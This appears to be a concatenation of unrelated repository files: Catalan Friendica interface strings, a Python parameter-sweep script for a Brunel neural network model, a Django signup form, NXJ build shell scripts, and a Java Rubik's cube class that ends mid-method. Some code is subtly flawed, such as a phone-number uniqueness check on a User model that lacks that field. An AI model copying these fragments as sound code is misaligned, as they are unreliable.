$a->strings["Our <strong>help</strong> pages may be consulted for detail on other program features and resources."] = "A les nostres pàgines <strong>d'ajuda</strong> es poden consultar detalls sobre les característiques d'altres programes i recursos.";
$a->strings["Requested profile is not available."] = "El perfil sol·licitat no està disponible.";
$a->strings["Tips for New Members"] = "Consells per a nous membres";
$a->strings["Friendica Social Communications Server - Setup"] = "Friendica Social Communications Server - Ajustos";
$a->strings["Could not connect to database."] = "No puc connectar a la base de dades.";
$a->strings["Could not create table."] = "No puc creat taula.";
$a->strings["Your Friendica site database has been installed."] = "La base de dades del teu lloc Friendica ha estat instal·lada.";
$a->strings["You may need to import the file \"database.sql\" manually using phpmyadmin or mysql."] = "Pot ser que hagi d'importar l'arxiu \"database.sql\" manualment amb phpmyadmin o mysql.";
$a->strings["Please see the file \"INSTALL.txt\"."] = "Per favor, consulti l'arxiu \"INSTALL.txt\".";
$a->strings["System check"] = "Comprovació del Sistema";
$a->strings["Check again"] = "Comprovi de nou";
$a->strings["Database connection"] = "Conexió a la base de dades";
$a->strings["In order to install Friendica we need to know how to connect to your database."] = "Per a instal·lar Friendica necessitem conèixer com connectar amb la deva base de dades.";
$a->strings["Please contact your hosting provider or site administrator if you have questions about these settings."] = "Per favor, posi's en contacte amb el seu proveïdor de hosting o administrador del lloc si té alguna pregunta sobre aquestes opcions.";
$a->strings["The database you specify below should already exist. If it does not, please create it before continuing."] = "La base de dades que especifiques ja hauria d'existir. Si no és així, crea-la abans de continuar.";
$a->strings["Database Server Name"] = "Nom del Servidor de base de Dades";
$a->strings["Database Login Name"] = "Nom d'Usuari de la base de Dades";
$a->strings["Database Login Password"] = "<PASSWORD>";
$a->strings["Database Name"] = "Nom de la base de Dades";
$a->strings["Site administrator email address"] = "Adreça de correu del administrador del lloc";
$a->strings["Your account email address must match this in order to use the web admin panel."] = "El seu compte d'adreça electrònica ha de coincidir per tal d'utilitzar el panell d'administració web.";
$a->strings["Please select a default timezone for your website"] = "Per favor, seleccioni una zona horària per defecte per al seu lloc web";
$a->strings["Site settings"] = "Configuracions del lloc";
$a->strings["Could not find a command line version of PHP in the web server PATH."] = "No es va poder trobar una versió de línia de comandos de PHP en la ruta del servidor web.";
$a->strings["If you don't have a command line version of PHP installed on server, you will not be able to run background polling via cron. See <a href='http://friendica.com/node/27'>'Activating scheduled tasks'</a>"] = "Si no tens una versió de línia de comandos instal·lada al teu servidor PHP, no podràs fer córrer els sondejos via cron. Mira <a href='http://friendica.com/node/27'>'Activating scheduled tasks'</a>";
$a->strings["PHP executable path"] = "Direcció del executable PHP";
$a->strings["Enter full path to php executable. You can leave this blank to continue the installation."] = "Entra la ruta sencera fins l'executable de php. Pots deixar això buit per continuar l'instal·lació.";
$a->strings["Command line PHP"] = "Linia de comandos PHP";
$a->strings["PHP executable is not the php cli binary (could be cgi-fgci version)"] = "El programari executable PHP no es el binari php cli (hauria de ser la versió cgi-fcgi)";
$a->strings["Found PHP version: "] = "Trobada la versió PHP:";
$a->strings["PHP cli binary"] = "PHP cli binari";
$a->strings["The command line version of PHP on your system does not have \"register_argc_argv\" enabled."] = "La versió de línia de comandos de PHP en el seu sistema no té \"register_argc_argv\" habilitat.";
$a->strings["This is required for message delivery to work."] = "Això és necessari perquè funcioni el lliurament de missatges.";
$a->strings["PHP register_argc_argv"] = "PHP register_argc_argv";
$a->strings["Error: the \"openssl_pkey_new\" function on this system is not able to generate encryption keys"] = "Error: la funció \"openssl_pkey_new\" en aquest sistema no és capaç de generar claus de xifrat";
$a->strings["If running under Windows, please see \"http://www.php.net/manual/en/openssl.installation.php\"."] = "Si s'executa en Windows, per favor consulti la secció \"http://www.php.net/manual/en/openssl.installation.php\".";
$a->strings["Generate encryption keys"] = "Generar claus d'encripció";
$a->strings["libCurl PHP module"] = "Mòdul libCurl de PHP";
$a->strings["GD graphics PHP module"] = "Mòdul GD de gràfics de PHP";
$a->strings["OpenSSL PHP module"] = "Mòdul OpenSSl de PHP";
$a->strings["mysqli PHP module"] = "Mòdul mysqli de PHP";
$a->strings["mb_string PHP module"] = "Mòdul mb_string de PHP";
$a->strings["Apache mod_rewrite module"] = "Apache mod_rewrite modul ";
$a->strings["Error: Apache webserver mod-rewrite module is required but not installed."] = "Error: el mòdul mod-rewrite del servidor web Apache és necessari però no està instal·lat.";
$a->strings["Error: libCURL PHP module required but not installed."] = "Error: El mòdul libCURL de PHP és necessari però no està instal·lat.";
$a->strings["Error: GD graphics PHP module with JPEG support required but not installed."] = "Error: el mòdul gràfic GD de PHP amb support per JPEG és necessari però no està instal·lat.";
$a->strings["Error: openssl PHP module required but not installed."] = "Error: El mòdul enssl de PHP és necessari però no està instal·lat.";
$a->strings["Error: mysqli PHP module required but not installed."] = "Error: El mòdul mysqli de PHP és necessari però no està instal·lat.";
$a->strings["Error: mb_string PHP module required but not installed."] = "Error: mòdul mb_string de PHP requerit però no instal·lat.";
$a->strings["The web installer needs to be able to create a file called \".htconfig.php\" in the top folder of your web server and it is unable to do so."] = "L'instal·lador web necessita crear un arxiu anomenat \".htconfig.php\" en la carpeta superior del seu servidor web però alguna cosa ho va impedir.";
$a->strings["This is most often a permission setting, as the web server may not be able to write files in your folder - even if you can."] = "Això freqüentment és a causa d'una configuració de permisos; el servidor web no pot escriure arxius en la carpeta - encara que sigui possible.";
$a->strings["At the end of this procedure, we will give you a text to save in a file named .htconfig.php in your Friendica top folder."] = "Al final d'aquest procediment, et facilitarem un text que hauràs de guardar en un arxiu que s'anomena .htconfig.php que hi es a la carpeta principal del teu Friendica.";
$a->strings["You can alternatively skip this procedure and perform a manual installation. Please see the file \"INSTALL.txt\" for instructions."] = "Alternativament, pots saltar-te aquest procediment i configurar-ho manualment. Per favor, mira l'arxiu \"INTALL.txt\" per a instruccions.";
$a->strings[".htconfig.php is writable"] = ".htconfig.php és escribible";
$a->strings["Friendica uses the Smarty3 template engine to render its web views. Smarty3 compiles templates to PHP to speed up rendering."] = "Friendica empra el motor de plantilla Smarty3 per dibuixar la web. Smarty3 compila plantilles a PHP per accelerar el redibuxar.";
$a->strings["In order to store these compiled templates, the web server needs to have write access to the directory view/smarty3/ under the Friendica top level folder."] = "Per poder guardar aquestes plantilles compilades, el servidor web necessita tenir accés d'escriptura al directori view/smarty3/ sota la carpeta principal de Friendica.";
$a->strings["Please ensure that the user that your web server runs as (e.g. www-data) has write access to this folder."] = "Per favor, asegura que l'usuari que corre el servidor web (p.e. www-data) te accés d'escriptura a aquesta carpeta.";
$a->strings["Note: as a security measure, you should give the web server write access to view/smarty3/ only--not the template files (.tpl) that it contains."] = "Nota: Com a mesura de seguretat, hauries de facilitar al servidor web, accés d'escriptura a view/smarty3/ excepte els fitxers de plantilles (.tpl) que conté.";
$a->strings["view/smarty3 is writable"] = "view/smarty3 es escribible";
$a->strings["Url rewrite in .htaccess is not working. Check your server configuration."] = "URL rewrite en .htaccess no esta treballant. Comprova la configuració del teu servidor.";
$a->strings["Url rewrite is working"] = "URL rewrite està treballant";
$a->strings["The database configuration file \".htconfig.php\" could not be written. Please use the enclosed text to create a configuration file in your web server root."] = "L'arxiu per a la configuració de la base de dades \".htconfig.php\" no es pot escriure. Per favor, usi el text adjunt per crear un arxiu de configuració en l'arrel del servidor web.";
$a->strings["Errors encountered creating database tables."] = "Trobats errors durant la creació de les taules de la base de dades.";
$a->strings["<h1>What next</h1>"] = "<h1>Que es següent</h1>";
$a->strings["IMPORTANT: You will need to [manually] setup a scheduled task for the poller."] = "IMPORTANT: necessitarà configurar [manualment] el programar una tasca pel sondejador (poller.php)";
$a->strings["Post successful."] = "Publicat amb éxit.";
$a->strings["OpenID protocol error. No ID returned."] = "Error al protocol OpenID. No ha retornat ID.";
$a->strings["Account not found and OpenID registration is not permitted on this site."] = "Compte no trobat i el registrar-se amb OpenID no està permès en aquest lloc.";
$a->strings["Image uploaded but image cropping failed."] = "Imatge pujada però no es va poder retallar.";
$a->strings["Image size reduction [%s] failed."] = "La reducció de la imatge [%s] va fracassar.";
$a->strings["Shift-reload the page or clear browser cache if the new photo does not display immediately."] = "Recarregui la pàgina o netegi la caché del navegador si la nova foto no apareix immediatament.";
$a->strings["Unable to process image"] = "No es pot processar la imatge";
$a->strings["Upload File:"] = "Pujar arxiu:";
$a->strings["Select a profile:"] = "Tria un perfil:";
$a->strings["Upload"] = "Pujar";
$a->strings["skip this step"] = "saltar aquest pas";
$a->strings["select a photo from your photo albums"] = "tria una foto dels teus àlbums";
$a->strings["Crop Image"] = "retallar imatge";
$a->strings["Please adjust the image cropping for optimum viewing."] = "Per favor, ajusta la retallada d'imatge per a una optima visualització.";
$a->strings["Done Editing"] = "Edició Feta";
$a->strings["Image uploaded successfully."] = "Carregada de la imatge amb èxit.";
$a->strings["Not available."] = "No disponible.";
$a->strings["%d comment"] = array(
0 => "%d comentari",
1 => "%d comentaris",
);
$a->strings["like"] = "Agrada";
$a->strings["dislike"] = "Desagrada";
$a->strings["Share this"] = "Compartir això";
$a->strings["share"] = "Compartir";
$a->strings["Bold"] = "Negreta";
$a->strings["Italic"] = "Itallica";
$a->strings["Underline"] = "Subratllat";
$a->strings["Quote"] = "Cometes";
$a->strings["Code"] = "Codi";
$a->strings["Image"] = "Imatge";
$a->strings["Link"] = "Enllaç";
$a->strings["Video"] = "Video";
$a->strings["add star"] = "Afegir a favorits";
$a->strings["remove star"] = "Esborrar favorit";
$a->strings["toggle star status"] = "Canviar estatus de favorit";
$a->strings["starred"] = "favorit";
$a->strings["add tag"] = "afegir etiqueta";
$a->strings["save to folder"] = "guardat a la carpeta";
$a->strings["to"] = "a";
$a->strings["Wall-to-Wall"] = "Mur-a-Mur";
$a->strings["via Wall-To-Wall:"] = "via Mur-a-Mur";
$a->strings["This entry was edited"] = "L'entrada fou editada";
$a->strings["via"] = "via";
$a->strings["Theme settings"] = "Configuració de Temes";
$a->strings["Set resize level for images in posts and comments (width and height)"] = "Ajusteu el nivell de canvi de mida d'imatges en els missatges i comentaris ( amplada i alçada";
$a->strings["Set font-size for posts and comments"] = "Canvia la mida del tipus de lletra per enviaments i comentaris";
$a->strings["Set theme width"] = "Ajustar l'ample del tema";
$a->strings["Color scheme"] = "Esquema de colors";
$a->strings["Set line-height for posts and comments"] = "Canvia l'espaiat de línia per enviaments i comentaris";
$a->strings["Set resolution for middle column"] = "canvia la resolució per a la columna central";
$a->strings["Set color scheme"] = "Canvia l'esquema de color";
$a->strings["Set twitter search term"] = "Ajustar el terme de cerca de twitter";
$a->strings["Set zoomfactor for Earth Layer"] = "Ajustar el factor de zoom de Earth Layers";
$a->strings["Set longitude (X) for Earth Layers"] = "Ajustar longitud (X) per Earth Layers";
$a->strings["Set latitude (Y) for Earth Layers"] = "Ajustar latitud (Y) per Earth Layers";
$a->strings["Community Pages"] = "Pàgines de la Comunitat";
$a->strings["Earth Layers"] = "Earth Layers";
$a->strings["Community Profiles"] = "Perfils de Comunitat";
$a->strings["Help or @NewHere ?"] = "Ajuda o @NouAqui?";
$a->strings["Connect Services"] = "Serveis Connectats";
$a->strings["Find Friends"] = "Trobar Amistats";
$a->strings["Last tweets"] = "Últims tweets";
$a->strings["Last users"] = "Últims usuaris";
$a->strings["Last photos"] = "Últimes fotos";
$a->strings["Last likes"] = "Últims \"m'agrada\"";
$a->strings["Your contacts"] = "Els teus contactes";
$a->strings["Local Directory"] = "Directori Local";
$a->strings["Set zoomfactor for Earth Layers"] = "Ajustar el factor de zoom per Earth Layers";
$a->strings["Last Tweets"] = "Últims Tweets";
$a->strings["Show/hide boxes at right-hand column:"] = "Mostra/amaga els marcs de la columna a ma dreta";
$a->strings["Set colour scheme"] = "Establir l'esquema de color";
$a->strings["Alignment"] = "Adaptació";
$a->strings["Left"] = "Esquerra";
$a->strings["Center"] = "Centre";
$a->strings["Posts font size"] = "Mida del text en enviaments";
$a->strings["Textareas font size"] = "mida del text en Areas de Text";
$a->strings["toggle mobile"] = "canviar a mòbil";
$a->strings["Delete this item?"] = "Esborrar aquest element?";
$a->strings["show fewer"] = "Mostrar menys";
$a->strings["Update %s failed. See error logs."] = "Actualització de %s fracassà. Mira el registre d'errors.";
$a->strings["Update Error at %s"] = "Error d'actualització en %s";
$a->strings["Create a New Account"] = "Crear un Nou Compte";
$a->strings["Nickname or Email address: "] = "Àlies o Adreça de correu:";
$a->strings["Password: "] = "Contrasenya:";
$a->strings["Remember me"] = "Recorda'm ho";
$a->strings["Or login using OpenID: "] = "O accedixi emprant OpenID:";
$a->strings["Forgot your password?"] = "Oblidà la contrasenya?";
$a->strings["Website Terms of Service"] = "Termes del Servei al Llocweb";
$a->strings["terms of service"] = "termes del servei";
$a->strings["Website Privacy Policy"] = "Política de Privacitat al Llocweb";
$a->strings["privacy policy"] = "política de privacitat";
$a->strings["Requested account is not available."] = "El compte sol·licitat no esta disponible";
$a->strings["Edit profile"] = "Editar perfil";
$a->strings["Message"] = "Missatge";
$a->strings["Manage/edit profiles"] = "Gestiona/edita perfils";
$a->strings["g A l F d"] = "g A l F d";
$a->strings["F d"] = "F d";
$a->strings["[today]"] = "[avui]";
$a->strings["Birthday Reminders"] = "Recordatori d'Aniversaris";
$a->strings["Birthdays this week:"] = "Aniversari aquesta setmana";
$a->strings["[No description]"] = "[sense descripció]";
$a->strings["Event Reminders"] = "Recordatori d'Esdeveniments";
$a->strings["Events this week:"] = "Esdeveniments aquesta setmana";
$a->strings["Status Messages and Posts"] = "Missatges i Enviaments d'Estatus";
$a->strings["Profile Details"] = "Detalls del Perfil";
$a->strings["Videos"] = "Vídeos";
$a->strings["Events and Calendar"] = "Esdeveniments i Calendari";
$a->strings["Only You Can See This"] = "Només ho pots veure tu";
| 43bd5c56c2a4b98e6991a56e7fcf4e65dfc7bb5a | [
"PHP"
] | 3 | PHP | tobiasd/friendica | 953c03aebbbf8ff9e4208e4e809749f9a0fd1b3f | 2d0eca34e1412c0e208425a5f4577da563d3170a |
refs/heads/master | <file_sep>"""
Run a parameter sweep for the Brunel (2000) model
Usage: sweep.py [-h] implementation
positional arguments:
implementation the implementation to use ('nineml', 'nest', 'pyNN.nest' or
'pyNN.neuron'
optional arguments:
-h, --help show this help message and exit
"""
import os
from datetime import datetime
from uuid import uuid1
import argparse
import yaml
import numpy as np
from sarge import run
parser = argparse.ArgumentParser()
parser.add_argument("implementation",
help="the implementation to use ('nineml', 'nest', 'pyNN.nest' or 'pyNN.neuron'")
parser.add_argument("parameter_file",
help="baseline parameter file for this experiment")
config = parser.parse_args()
implementation = config.implementation
timestamp = datetime.now()
results_dir = "results/{:%Y%m%d-%H%M%S}".format(timestamp)
os.mkdir(results_dir)
with open(config.parameter_file) as fp:
parameters = yaml.load(fp)
parameters["experiment"].pop("base_filename")
#n_jobs = 1
#jobs = []
with open(os.path.join(results_dir, "sweeps.csv"), "w") as sweep_fp:
#for g in np.arange(0, 9, 0.5):
for g in np.arange(1.5, 9, 0.5):
for eta in np.arange(0, 5, 0.25):
id = str(uuid1())[:8]
parameters["network"]["g"] = float(g) # yaml treats numpy floats differently
parameters["network"]["eta"] = float(eta)
output_file = os.path.join(results_dir,
"brunel_network_alpha_{}_{}.h5".format(implementation, id))
parameters["experiment"]["full_filename"] = output_file
parameter_file = "{}/parameters_{}.yml".format(results_dir, id)
with open(parameter_file, "w") as fp:
yaml.dump(parameters, fp)
sweep_fp.write("{} {} {}\n".format(g, eta, output_file))
sweep_fp.flush() # flush file buffers in case a later iteration crashes
command = "python run_brunel_network_alpha.py {} {}".format(implementation, parameter_file)
#command = "echo '{} {}'".format(g, eta)
print(command)
run(command)
#jobs.append(
# run(command, async=True))
#if len(jobs) == n_jobs:
# for job in jobs:
# job.close()
# jobs = []
| c003eea0ab8c21a40540da29c061b899f31d7e78 | [
"Python"
] | 1 | Python | umarbrowser/NineML_demo_2016 | 8de8ab95811c0cd15d586fed32dc48f76402aca2 | 971174a44eeb0c955742b2eec395b869cac5ffcc |
refs/heads/main | <file_sep>from django import forms
from django.contrib import auth
from django.contrib.auth import login, authenticate
from django.contrib.auth.forms import UserCreationForm
from django.contrib.auth.models import User
from django.core.validators import RegexValidator
class RegisterForm(UserCreationForm):
email = forms.EmailField(required=True)
# to make the email unique
def clean_email(self):
email = self.cleaned_data.get('email')
user_count = User.objects.filter(email = email).count()
if user_count > 0:
raise forms.ValidationError("this email already in use")
return email
phone_regex = RegexValidator( regex = r'^\+201[0125]{1}[0-9]{8}$', message ="Phone number must be entered in the format +201********. Up to 14 digits allowed.")
phone_number= forms.CharField(validators =[phone_regex], max_length=13, required=True)
def clean_phone_number(self):
phone_number = self.cleaned_data.get('phone_number')
user_count = User.objects.filter(phone_number = phone_number).count()
if user_count > 0:
raise forms.ValidationError("this phone_number already in use")
return phone_number
class Meta:
model = User
fields = [
'username',
'email',
'phone_number',
'<PASSWORD>1',
'<PASSWORD>' ]
<file_sep>from django.shortcuts import render
# Create your views here.
def main_view(request):
context = {}
return render(request, 'main/main.html', context) | 405363df5f21d56f6193e802dfa8209e47f3369e | [
"Python"
] | 2 | Python | Abdulrahman-ahmed25/news | 99e44985019ed5e92f886e8dc8452c8728b32aef | 4342e41dc91cd77a2e57dd95263de464ea57c1d3 |
refs/heads/master | <repo_name>maheep/sample_app<file_sep>/app/models/blog.rb
class Blog < ActiveRecord::Base
attr_accessible :discription, :title
belongs_to :user
has_many :comments
has_reputation :votes, source: :user, aggregated_by: :sum
end
<file_sep>/db/migrate/20130420070417_add_photo_to_user.rb
class AddPhotoToUser < ActiveRecord::Migration
def self.up
change_table :users do |t|
t.attachment :photo
end
end
end
<file_sep>/app/models/user.rb
class User < ActiveRecord::Base
# Include default devise modules. Others available are:
# :token_authenticatable, :confirmable,
# :lockable, :timeoutable and :omniauthable
devise :database_authenticatable, :registerable,
:recoverable, :rememberable, :trackable, :validatable
# Setup accessible (or protected) attributes for your model
attr_accessible :email, :password, :password_confirmation, :remember_me, :photo, :username
has_attached_file :photo,
:styles => { :micro => '40x36>', :thumb => '185x185>', :avatar => '200x200>' },
:storage => :s3,
:s3_credentials => AppConfig.s3_creds,
:s3_permissions => "public-read",
:path => "sitter_photos/:style/:id",
:bucket => AppConfig.s3_bucket,
:default_url => 'missing_:style.png'
has_many :blogs
# attr_accessible :title, :body
end
| d4967245aaff35f4358e5f35a9cc0f26d9a082d2 | [
"Ruby"
] | 3 | Ruby | maheep/sample_app | 42422933912acd0f65e5bcf60514d2aec863350b | f3b463129d7d6bdba467dfcbab1aaa078c76965a |
refs/heads/master | <file_sep>
javac -d ./classes -sourcepath ./src ./src/acquisition/mainTestDetectionVision2.java
<file_sep>#!/bin/bash
if [[ $(uname -m| grep 64) ]];then
arch=amd64;
else
arch=i586;
fi
export NXJ_HOME=$(pwd)/lib/lejos_nxj
export CLASSPATH=$CLASSPATH:$NXJ_HOME/lib/classes.jar
export CLASSPATH=$CLASSPATH:$NXJ_HOME/lib/jtools.jar
export CLASSPATH=$CLASSPATH:$NXJ_HOME/lib/pccomm.jar
export CLASSPATH=$CLASSPATH:$NXJ_HOME/lib/pctools.jar
export CLASSPATH=$CLASSPATH:$(pwd)/lib/jogl-1.1.1-linux-$arch/lib/jogl.jar
export CLASSPATH=$CLASSPATH:$(pwd)/lib/jogl-1.1.1-linux-$arch/lib/gluegen-rt.jar
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$NXJ_HOME/bin/:$(pwd)/lib/jogl-1.1.1-linux-$arch/lib
export PATH=$PATH:$NXJ_HOME/bin
javadoc -encoding utf8 -docencoding utf8 -charset utf8 -sourcepath ./src -d ./doc/javadoc -subpackages cube
<file_sep>#!/bin/bash
export NXJ_HOME=$(pwd)/lib/lejos_nxj
export CLASSPATH=$CLASSPATH:$NXJ_HOME/lib/classes.jar
export CLASSPATH=$CLASSPATH:$NXJ_HOME/lib/jtools.jar
export CLASSPATH=$CLASSPATH:$NXJ_HOME/lib/pccomm.jar
export CLASSPATH=$CLASSPATH:$NXJ_HOME/lib/pctools.jar
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$NXJ_HOME/bin/
export PATH=$PATH:$NXJ_HOME/bin
chmod +x $NXJ_HOME/bin/*
nxjc -d ./classes -sourcepath ./src src/cube/robot/RobotRubik.java
<file_sep>#!/bin/bash
#javac -d ./classes -sourcepath ./src ./src/Classmain.java
#javac -d ./classes -sourcepath ./src ./src/Classmain$1.java
bash nxjcompile
if [[ $(uname -m| grep 64) ]];then
arch=amd64;
else
arch=i586;
fi
export NXJ_HOME=$(pwd)/lib/lejos_nxj
export CLASSPATH=$CLASSPATH:$NXJ_HOME/lib/classes.jar
export CLASSPATH=$CLASSPATH:$NXJ_HOME/lib/jtools.jar
export CLASSPATH=$CLASSPATH:$NXJ_HOME/lib/pccomm.jar
export CLASSPATH=$CLASSPATH:$NXJ_HOME/lib/pctools.jar
export CLASSPATH=$CLASSPATH:$(pwd)/lib/jogl-1.1.1-linux-$arch/lib/jogl.jar
export CLASSPATH=$CLASSPATH:$(pwd)/lib/jogl-1.1.1-linux-$arch/lib/gluegen-rt.jar
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$NXJ_HOME/bin/:$(pwd)/lib/jogl-1.1.1-linux-$arch/lib
export PATH=$PATH:$NXJ_HOME/bin
javac -d ./classes -sourcepath ./src -classpath $CLASSPATH ./src/Classmain$1.java
<file_sep>package cube;
import cube.MouvementElementaire;
import java.util.*;
/**
*classe Cube
*@author Groupe ECAO Rubik's Cube : Pierre_Bienaime Bastien_Bonnet Mathieu_Chataigner Mathieu_Fresquet
*/
public class Cube
{
/**
* classe interne Cubie
* @author Groupe ECAO Rubik's Cube : Pierre_Bienaime Bastien_Bonnet Mathieu_Chataigner <NAME>
*/
public class Cubie{
/*Attributs*/
private Couleur couleurUD;
private Couleur couleurFB;
private Couleur couleurLR;
private NatureCubie typeCubie;
/*Constructeur*/
/**
*Construit une instance de Cubie à partir d'un type de cubie et de 3 couleurs
*@param _typeCubie le type de cubie que l'on veut créer
*@param _couleurUD la couleur en UD
*@param _couleurFB la couleur en FB
*@param _couleurLR la couleur en LR
*/
public Cubie(NatureCubie _typeCubie, Couleur _couleurUD, Couleur _couleurFB, Couleur _couleurLR){
typeCubie=_typeCubie;
couleurUD=_couleurUD;
couleurFB=_couleurFB;
couleurLR=_couleurLR;
}
/*Méthodes*/
/**
*Retourne la couleur du cubie en UD
*@return la couleur du cubie en UD
*/
public Couleur obtenirCouleurUD(){
return couleurUD;
}
/**
*Retourne la couleur du cubie en FB
*@return la couleur du cubie en FB
*/
public Couleur obtenirCouleurFB(){
return couleurFB;
}
/**
*Retourne la couleur du cubie en LR
*@return la couleur du cubie en LR
*/
public Couleur obtenirCouleurLR(){
return couleurLR;
}
/**
*Répercute les conséquences d'un mouvement U, U', D ou D' sur un cubie
*/
protected void effectuerUD(){
Couleur temp=couleurFB;
couleurFB=couleurLR;
couleurLR=temp;
}
/**
*Répercute les conséquences d'un mouvement F, F', B ou B' sur un cubie
*/
protected void effectuerFB(){
Couleur temp=couleurUD;
couleurUD=couleurLR;
couleurLR=temp;
}
/**
* Répercute les conséquences d'un mouvement L, L', R ou R' sur un cubie
*/
protected void effectuerLR(){
Couleur temp=couleurUD;
couleurUD=couleurFB;
couleurFB=temp;
}
/**
* Redéfinition de la méthode toString() héritée de la classe mère Object
* @return une String contenant les informations associées au Cubie
*/
public String toString()
{
return couleurUD+" "+couleurFB+" "+couleurLR;
}
}
/*Attributs*/
private ArrayList<Cubie> lesCubies;
private ArrayList<Position> lesPositions;
private static Face faceU=new Face(Couleur.JAUNE, Couleur.JAUNE, Couleur.JAUNE, Couleur.JAUNE, Couleur.JAUNE, Couleur.JAUNE, Couleur.JAUNE, Couleur.JAUNE, Couleur.JAUNE);
private static Face faceD=new Face(Couleur.BLANC,Couleur.BLANC, Couleur.BLANC, Couleur.BLANC, Couleur.BLANC, Couleur.BLANC, Couleur.BLANC, Couleur.BLANC, Couleur.BLANC);
private static Face faceF=new Face(Couleur.ORANGE, Couleur.ORANGE, Couleur.ORANGE, Couleur.ORANGE, Couleur.ORANGE, Couleur.ORANGE, Couleur.ORANGE, Couleur.ORANGE, Couleur.ORANGE);
private static Face faceB=new Face(Couleur.ROUGE, Couleur.ROUGE, Couleur.ROUGE, Couleur.ROUGE, Couleur.ROUGE, Couleur.ROUGE, Couleur.ROUGE, Couleur.ROUGE, Couleur.ROUGE);
private static Face faceL=new Face(Couleur.VERT, Couleur.VERT, Couleur.VERT, Couleur.VERT, Couleur.VERT, Couleur.VERT, Couleur.VERT, Couleur.VERT, Couleur.VERT);
private static Face faceR=new Face(Couleur.BLEU, Couleur.BLEU, Couleur.BLEU, Couleur.BLEU, Couleur.BLEU, Couleur.BLEU, Couleur.BLEU, Couleur.BLEU, Couleur.BLEU);
/*Constructeur*/
/**
*Construit une Cube en position resolue.
*/
public Cube()throws CubeException
{
this(faceU, faceD, faceR, faceL, faceF, faceB);
}
public static Cube creerCube(Collection<Face> lesFaces) throws CubeException
{
Face[] tabFace=lesFaces.toArray(new Face[0]);
return new Cube(tabFace[0],tabFace[1],tabFace[2],tabFace[3],tabFace[4],tabFace[5]);
}
/**
*Construit une nouvelle instance de Cube à partir de 6 faces.
*@param faceU la face Up
*@param faceD la face Down
*@param faceR la face Right
*@param faceL la face Left
*@param faceF la face Front
*@param faceB la face Back
*/
public Cube(Face faceU,Face faceD,Face faceR,Face faceL,Face faceF,Face faceB)throws CubeException
{
lesCubies=new ArrayList<Cubie>(27);
lesPositions=new ArrayList<Position>(27);
for(int y=1;y<=3;y++)
for(int z=1;z<=3;z++)
for(int x=1;x<=3;x++)
lesPositions.add(new Position(x,y,z));
lesCubies.add(new Cubie(NatureCubie.CORNER,faceD.obtenirCouleur(7),faceB.obtenirCouleur(9),faceL.obtenirCouleur(7)));
lesCubies.add(new Cubie(NatureCubie.EDGE,faceD.obtenirCouleur(4),Couleur.AUCUNE,faceL.obtenirCouleur(8)));
lesCubies.add(new Cubie(NatureCubie.CORNER,faceD.obtenirCouleur(1),faceF.obtenirCouleur(7),faceL.obtenirCouleur(9)));
lesCubies.add(new Cubie(NatureCubie.EDGE,Couleur.AUCUNE,faceB.obtenirCouleur(6),faceL.obtenirCouleur(4)));
lesCubies.add(new Cubie(NatureCubie.CENTER,Couleur.AUCUNE,Couleur.AUCUNE,faceL.obtenirCouleur(5)));
lesCubies.add(new Cubie(NatureCubie.EDGE,Couleur.AUCUNE,faceF.obtenirCouleur(4),faceL.obtenirCouleur(6)));
lesCubies.add(new Cubie(NatureCubie.CORNER,faceU.obtenirCouleur(1),faceB.obtenirCouleur(3),faceL.obtenirCouleur(1)));
lesCubies.add(new Cubie(NatureCubie.EDGE,faceU.obtenirCouleur(4),Couleur.AUCUNE,faceL.obtenirCouleur(2)));
lesCubies.add(new Cubie(NatureCubie.CORNER,faceU.obtenirCouleur(7),faceF.obtenirCouleur(1),faceL.obtenirCouleur(3)));
lesCubies.add(new Cubie(NatureCubie.EDGE,faceD.obtenirCouleur(8),faceB.obtenirCouleur(8),Couleur.AUCUNE));
lesCubies.add(new Cubie(NatureCubie.CENTER,faceD.obtenirCouleur(5),Couleur.AUCUNE,Couleur.AUCUNE));
lesCubies.add(new Cubie(NatureCubie.EDGE,faceD.obtenirCouleur(2),faceF.obtenirCouleur(8),Couleur.AUCUNE));
lesCubies.add(new Cubie(NatureCubie.CENTER,Couleur.AUCUNE,faceB.obtenirCouleur(5),Couleur.AUCUNE));
lesCubies.add(new Cubie(NatureCubie.CORE,Couleur.AUCUNE,Couleur.AUCUNE,Couleur.AUCUNE));
lesCubies.add(new Cubie(NatureCubie.CENTER,Couleur.AUCUNE,faceF.obtenirCouleur(5),Couleur.AUCUNE));
lesCubies.add(new Cubie(NatureCubie.EDGE,faceU.obtenirCouleur(2),faceB.obtenirCouleur(2),Couleur.AUCUNE));
lesCubies.add(new Cubie(NatureCubie.CENTER,faceU.obtenirCouleur(5),Couleur.AUCUNE,Couleur.AUCUNE));
lesCubies.add(new Cubie(NatureCubie.EDGE,faceU.obtenirCouleur(8),faceF.obtenirCouleur(2),Couleur.AUCUNE));
lesCubies.add(new Cubie(NatureCubie.CORNER,faceD.obtenirCouleur(9),faceB.obtenirCouleur(7),faceR.obtenirCouleur(9)));
lesCubies.add(new Cubie(NatureCubie.EDGE,faceD.obtenirCouleur(6),Couleur.AUCUNE,faceR.obtenirCouleur(8)));
lesCubies.add(new Cubie(NatureCubie.CORNER,faceD.obtenirCouleur(3),faceF.obtenirCouleur(9),faceR.obtenirCouleur(7)));
lesCubies.add(new Cubie(NatureCubie.EDGE,Couleur.AUCUNE,faceB.obtenirCouleur(4),faceR.obtenirCouleur(6)));
lesCubies.add(new Cubie(NatureCubie.CENTER,Couleur.AUCUNE,Couleur.AUCUNE,faceR.obtenirCouleur(5)));
lesCubies.add(new Cubie(NatureCubie.EDGE,Couleur.AUCUNE,faceF.obtenirCouleur(6),faceR.obtenirCouleur(4)));
lesCubies.add(new Cubie(NatureCubie.CORNER,faceU.obtenirCouleur(3),faceB.obtenirCouleur(1),faceR.obtenirCouleur(3)));
lesCubies.add(new Cubie(NatureCubie.EDGE,faceU.obtenirCouleur(6),Couleur.AUCUNE,faceR.obtenirCouleur(2)));
lesCubies.add(new Cubie(NatureCubie.CORNER,faceU.obtenirCouleur(9),faceF.obtenirCouleur(3),faceR.obtenirCouleur(1)));
}
/**méthode permettant de fixer un cubie à une position sur le cube
*@param leCubie le Cubie à fixer
*@param laPosition la Position où le fixer
*/
private void fixerCubie(Cubie leCubie,Position laPosition)
{
lesCubies.set(lesPositions.indexOf(laPosition),leCubie);
}
/**méthode permettant d'obtenir le Cubie se trouvant à une Position donnée
*@param laPosition la Position à regarder
*@return le Cubie trouvé
*/
private Cubie obtenirCubie(Position laPosition)
